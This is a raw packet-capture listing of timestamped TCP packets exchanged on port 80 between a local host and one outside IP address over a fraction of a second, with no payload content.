Nov 1, 2024 15:15:00.586807966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586818933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586822033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586828947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586839914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586853027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.586877108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586877108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586877108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.586929083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587551117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587563038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587574005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587584972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587603092 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587604046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587613106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587616920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587627888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587639093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587655067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587666035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587666035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587666988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587677956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587688923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587694883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587706089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587717056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587728024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587730885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587730885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587730885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587744951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587758064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587766886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587769985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587780952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587788105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587789059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587794065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587804079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.587842941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587842941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.587842941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588548899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588560104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588571072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588582039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588598967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588609934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588620901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588632107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588643074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588654041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588659048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588659048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588659048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588665009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588676929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588687897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588699102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588700056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588710070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588718891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588721037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588732004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588743925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588748932 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588749886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588754892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588766098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588777065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588788033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588799000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.588810921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588810921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588810921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.588846922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589515924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589529037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589540005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589551926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589562893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589571953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589587927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589598894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589601994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589601994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589608908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589620113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589632034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589638948 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589643955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589654922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589665890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589669943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589669943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589677095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589689016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589699030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589705944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589710951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589724064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589735031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589745045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589755058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589767933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589770079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589770079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589778900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.589787960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589808941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.589838028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590472937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590486050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590496063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590507030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590518951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590529919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590533972 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590533972 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590539932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590558052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590563059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590573072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590584040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590588093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590588093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590596914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590606928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590620995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590620995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590631962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590642929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590645075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590645075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590656042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590667009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590677977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590683937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590687990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590699911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590711117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590715885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590722084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.590723991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590758085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.590783119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591046095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591058016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591068029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591103077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591134071 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591165066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591180086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591191053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591202021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591219902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591253042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591325998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591336012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591345072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591357946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591368914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591379881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591384888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591392040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591392040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591403008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591413975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591414928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591424942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591435909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591449976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591464043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591475964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591483116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591483116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591486931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591497898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591510057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591521978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591525078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591525078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591533899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591545105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591557980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591563940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591563940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591569901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591582060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591593027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591603994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591614962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591618061 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591618061 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591624975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591638088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.591690063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.591690063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592313051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592325926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592340946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592351913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592364073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592374086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592374086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592375994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592387915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592401028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592411995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592423916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592433929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592444897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592453957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592453957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592456102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592467070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592468023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592478037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592489004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592499971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592514038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592514038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592514038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592528105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592544079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592552900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592556000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592567921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592577934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592577934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592607021 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592607021 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592933893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592945099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592956066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592967033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592977047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592989922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.592997074 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.592997074 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.593000889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.593013048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.593019962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.593024015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.593035936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.593049049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.593070030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.593070030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.593130112 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.661899090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661912918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661926031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661943913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661957026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661967039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661979914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661990881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.661992073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662003040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662033081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662045002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662101030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662111998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662130117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662141085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662152052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662153006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662164927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662177086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662204027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662204027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662220001 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662388086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662400961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662444115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662498951 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662623882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662640095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662687063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662687063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662710905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662723064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662734032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662744999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662758112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.662761927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662806034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.662806034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663465023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663475990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663487911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663501978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663520098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663530111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663542986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663556099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663556099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663594961 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663641930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663652897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663665056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663676977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663687944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663691044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663706064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663706064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663718939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663729906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663743019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663746119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663758039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663793087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663876057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663888931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663923025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.663944960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663961887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.663965940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664001942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664047003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664058924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664071083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664081097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664093018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664110899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664110899 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664179087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664201975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664215088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664300919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664318085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664329052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664340973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664352894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664355993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.664364100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.664375067 CET	80	49874	188.114.96.3	192.168.2.5
